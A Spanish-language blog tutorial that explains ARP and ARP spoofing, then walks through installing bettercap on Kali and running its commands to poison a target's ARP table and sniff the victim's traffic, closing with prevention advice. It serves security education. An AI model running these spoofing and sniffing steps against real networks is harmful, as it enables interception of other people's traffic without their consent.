Hoy quiero hablar acerca de arp spoofing, de bettercap: una gran herramienta bastante completa para la auditoría de redes, y por supuesto la importancia de conectarnos a internet a través de un canal seguro (SSL/TLS).
¿Qué es ARP?
ARP o Address Resolution Protocol, es un protocolo responsable de encontrar una MAC asociada a una determinada dirección IP dentro de una red.
Es decir, en una red el dispositivo A hace un ARP request preguntando por la MAC de determinada IP (dispositivo B), con la finalidad de intercambiar información con este (enviar paquetes).
Más o menos así:
El dispositivo A con dirección MAC aa-aa-aa-aa-aa-aa y con dirección IP bb.bb.bb.bb quiere contactar con el dispositivo que tenga la dirección IP cc.cc.cc.cc y requiere de la dirección MAC.
Entonces el dispositivo que tenga la IP bb.bb.bb.bb responderá algo como:
Soy el dispositivo con IP bb.bb.bb.bb y mi MAC es dd-dd-dd-dd-dd-dd.
Lógicamente para evitar que se pregunte cada vez que sea necesario por esta información, los dispositivos la guardan en su tabla ARP, que es un caché que almacena la relación que hay entre MAC e IP’s.
ARP spoofing:
Pero ¿qué pasa si en lugar de que el equipo que responde a esa petición ARP con su dirección MAC, no es el dispositivo B, sino un equipo controlado por un atacante?.
Esto es exactamente lo que pasa con el ARP spoofing, un equipo suplanta a otro y recibe todos sus paquetes.
Lo que hace el atacante es suplantar al router/switch e interceptar todos los paquetes que un usuario intercambia con este al navegar por internet (lo que se conoce cómo MITM), lógicamente luego los reenviará al equipo legitimo y el usuario podría nunca sospechar.
Bettercap:
Bettercap es un software que facilita toda esta labor de ARP spoofing, y es una gran alternativa al viejo Ettercap que ya muchos deben conocer.
Ademas de eso Bettercap entre otras cosas, incluye módulos para:
- Auditoria de dispositivos BLE.
- Auditoria para dispositivos HID (teclados y mouses inalámbricos).
Aunque su primera versión fue escrita en ruby, la actual (bettercap 2) está íntegramente escrita en Go y hasta cuenta con una UI web bastante amigable.
ARP spoofing con bettercap:
Para esta prueba utilicé una maquina virtual en Kali.
Instalación:
Para tener la ultima versión de bettercap, lo instalaremos desde su repositorio en github.
1) Instalamos go:
1 | apt-get install golang |
2) Creamos el GOPATH:
1 | export GOPATH=$HOME/go |
3) Instalamos algunas dependencias más:
1 | apt-get install libusb-1.0-0-dev |
4) Descargamos bettercap desde su repo:
1 | go get -v github.com/bettercap/bettercap |
5) Compilamos las fuentes:
1 | cd $GOPATH/src/github.com/bettercap/bettercap |
Si hemos seguido todos los pasos al escribir el comando:
1 | bettercap |
esto nos abrirá su linea de comandos:
ahora escribiremos el comando
1 | net.probe on |
para que nos detecte todas los dispositivos conectados en red.
y ahora:
1 | net.show |
para ver los equipos
ahora seleccionamos el objetivo:
1 | set arp.spoof.target 192.xx.xx.xx |
y activamos el ataque:
1 | arp.spoof on |
a estas alturas en la maquina víctima ya debería tener las tablas ARP envenenadas. y si ejecutamos desde ahi el comando:
1 | arp -a |
veremos que hay al menos 2 IP distintas asociadas a la misma MAC, de hecho es
la IP de la puerta de enlace (router/switch):
y ahora net.sniff nos permitirá ver todo el trafico de la victima:
Prevenir:
Recordemos siempre navegar a través de HTTPS, pues de esta manera nuestro trafico viaja cifrado, tampoco debemos olvidar tener nuestro navegador siempre actualizado y por último siempre tener cuidado cuando nos conectamos a las redes de WIFI públicas, NUNCA deberíamos utilizarlas para acceder a nuestras cuentas de banco o algunas otras con información sensible.
Carlos Ganoza
I have more than 6 years of experience in the technology market, I have been involved in different aspects of software development, cybersecurity, and open-source. I ♥ python, the open-source, and I always enjoy learning new skills.